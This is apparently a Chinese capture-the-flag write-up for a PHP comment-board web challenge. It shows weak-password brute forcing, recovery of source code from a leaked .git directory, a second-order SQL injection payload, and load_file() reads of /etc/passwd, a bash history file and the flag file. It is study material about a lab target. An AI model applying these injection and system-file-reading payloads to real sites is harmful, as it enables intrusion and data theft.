网鼎杯 2020 青龙组 comment 简简单单来道web

Comment

//吐槽一下buu上这个题的环境是真的有点卡（

弱口令登录

试着发评论会发现重定向到login.php发现提示了账密zhangwei/zhangwei***，但密码后三位不知道，可以爆破得到密码为zhangwei666，直接登录就可以

信息搜集

扫目录/尝试可发现git泄露（/.git）

用githacker复原一下可以得到write_do.php

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

代码审计

case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;

$category，$title 和 $content 都经过了addslashes() 转义（存入后的会把转义添加的反斜杠去掉），但是存入数据库后，再取出来就造成了二次注入

sql 语句拼接时进行了分行，单纯#不好使了，要用/**/，正好存在多参数，分工完成就行

//页面上的参数顺序和源码里面不太一样，先是title，然后才是category

注入点

观察页面发现$content的内容最后会回显到页面上（从数据库取出，也是二次注入的要点）

所以选择对$content进行注入

二次注入payload

在category填写为 ‘content=(user()),/*

content填写为222 （随便写内容）

不能在这里直接对content填写为*/#进行闭合是因为没有用，二次注入需要在写入数据后再进行查询时生效，在这里写了也没有用，不难带出数据，拿category变量先写入查询语句和前半/*，之后再写个留言，把后半/*补上，在把content查到回显过来的这一过程中，两半注释闭合

title也随便填

之后对文章留言，内容为*/#

在回显时就会变成这样：

category=”,content=(user()),/*,content=’222′ (写入时的数据)

…… content=*/# (留言时的数据)

在解析时就会把content解析为我们要执行的语句，二次注入完成

可以看到当前用户为root(关键) //查数据库名之类的也行，库名是ctf

为什么关键呢，因为查数据库用不到root的，给了root用户，要么是单纯真的没啥用（一般不会这样），那就只能是flag并不在数据库，需要利用root的便利去找其他地方（想到24国赛那道php，rce之后flag在数据库里面）

那就想到要用sql中的load_file()这个函数要想使用是要root的，用这个函数去读取本机文件

读取本机文件

Linux系统当然先读etc/passwd了

直接payload里面的user()改成select load_file(‘/etc/passwd’) //不要粗心忘记根目录的那个”/”

再故技重施，留言*/#，就可再完成一次二次注入，将想要的内容回显出来

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin libuuid:x:100:101::/var/lib/libuuid: syslog:x:101:104::/home/syslog:/bin/false mysql:x:102:105:MySQL Server,,,:/var/lib/mysql:/bin/false www:x:500:500:www:/home/www:/bin/bash

观察得到最后有一个www用户，除了root只有他用了bin/bash

那就直接查看/home/www/.bash_history，有www的历史命令记录

查到如下历史命令记录：

cd /tmp/                //cd到/tmp
unzip html.zip            //解压
rm -f html.zip            //删掉压缩包
cp -r html /var/www/    //粘贴一份到/var/www
cd /var/www/html/        //cd过去
rm -f .DS_Store            //删掉这个文件
service apache2 start

貌似关键点就在这个.DS_Store，Mac系统的文件说是

删了复制之后的，但是解压出来的原来版本没删，找出来看看

payload就变成了select load_file(‘/tmp/html/.DS_Store’)

结果这么大一坨乱码，说明有不可见字符，那就编码一下再输出，加一层hex()

输出如下

00000001427564310000100000000800000010000000040A000000000000000000000000000000000000000000000800000008000000000000000000000000000000000000000002000000000000000B000000010000100000730074007200610070496C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000B000000090062006F006F007400730074007200610070496C6F63626C6F62000000100000004600000028FFFFFFFFFFFF00000000000B0063006F006D006D0065006E0074002E007000680070496C6F63626C6F6200000010000000CC0000002800000001FFFF000000000003006300730073496C6F63626C6F62000000100000015200000028FFFFFFFFFFFF0000000000190066006C00610067005F0038003900340036006500310066006600310065006500330065003400300066002E007000680070496C6F63626C6F6200000010000001D800000028FFFFFFFFFFFF0000000000050066006F006E00740073496C6F63626C6F62000000100000004600000098FFFFFFFFFFFF0000000000090069006E006400650078002E007000680070496C6F63626C6F6200000010000000CC0000009800000002FFFF000000000002006A0073496C6F63626C6F62000000100000015200000098FFFFFFFFFFFF000000000009006C006F00670069006E002E007000680070496C6F63626C6F6200000010000001D800000098FFFFFFFFFFFF000000000009006D007900730071006C002E007000680070496C6F63626C6F62000000100000004600000108FFFFFFFFFFFF00000000000600760065006E0064006F0072496C6F63626C6F6200000010000000CC00000108FFFFFFFFFFFF00000000000C00770072006900740065005F0064006F002E007000680070496C6F63626C6F62000000100000015200000108FFFFFFFFFFFF0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000080B00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000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超大一坨16进制

解码后可以看到，应该是备份文件，里面有login.php mysql.php之类的文件，还有重要的

flag_8946e1ff1ee3e40f.php

那就再读这个文件就结束了

得到

3C3F7068700A0924666C61673D22666C61677B31613961646532312D336562362D343466632D616435632D3031393131643165653731397D223B0A3F3E0A

解码得到

<?php
    $flag="flag{1a9ade21-3eb6-44fc-ad5c-01911d1ee719}";
?>